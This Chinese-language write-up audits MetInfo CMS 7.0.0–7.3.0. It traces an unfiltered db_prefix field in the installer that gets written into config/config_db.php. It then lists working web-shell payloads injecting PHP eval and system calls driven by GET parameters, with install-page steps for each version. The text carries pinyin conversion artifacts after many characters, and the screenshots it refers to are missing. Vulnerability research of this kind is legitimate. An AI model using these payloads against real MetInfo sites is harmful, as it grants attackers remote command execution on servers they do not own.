Metinfocms命令執(zhí)行
前話:
米拓企業(yè)建站系統(tǒng)是一款由長沙信息科技有限公司自主研發(fā)的免費(fèi)開源企業(yè)級CMS,該系統(tǒng)擁有大量的用戶使用,及對該款cms進(jìn)行審計(jì),如果利用CNVD-2021-01930進(jìn)行進(jìn)一步深入,其危害的嚴(yán)重性可想而知。
本文涉及相關(guān)實(shí)驗(yàn):MetInfo SQL注入 (通過該實(shí)驗(yàn)掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修復(fù)該漏洞。)
審計(jì)過程:
1. Index:拿到源碼先看根目錄的index.php看看都包含(加載)了什么文件。
2. 關(guān)鍵詞:在/app/system/entrance.php看到了配置文件的定義,全局搜索這個(gè)
’PATH_CONFIG'參數(shù)。
全局搜索并找到install/index.php文件下有這個(gè)參數(shù),點(diǎn)擊跟進(jìn)查看。
在這個(gè)文件的219行有個(gè)是接收db數(shù)據(jù)庫參數(shù)的方法。
官方說明“$_M”數(shù)組:https://doc.metinfo.cn/dev/basics/basics75.html
這里是接收from數(shù)據(jù)的db_prefix參數(shù)。也就是“數(shù)據(jù)表前綴”內(nèi)容的值。
往下發(fā)現(xiàn)是直接寫入tableper然后賦值給config變量。
并在264行fopen打開/config/config_db.php進(jìn)行沒有安全過濾的字節(jié)流(fputs)方式的寫入。
影響版本:7.3.0 - 7.0.0
一、進(jìn)行7.3.0安裝步驟,訪問http://127.0.0.1/install/index.php
二、選中傳統(tǒng)安裝繼續(xù)下一步
三、數(shù)據(jù)庫信息進(jìn)行寫shell
代碼執(zhí)行Payload:"/@eval($_GET['1']);/
命令執(zhí)行Payload:"/@system($_GET['1']);/
代碼執(zhí)行:
點(diǎn)擊保存進(jìn)行下一步驗(yàn)證,出現(xiàn)這報(bào)錯(cuò)信息,可以查看config\config_db.php文件。
成功寫入
命令執(zhí)行:
7.0.0版本:
7.1.0版本:
Payload:"/@eval($GET['1']);@system($GET['2']);/
7.2.0版本:
Payload:"/@eval($GET['1']);@system($GET['2']);/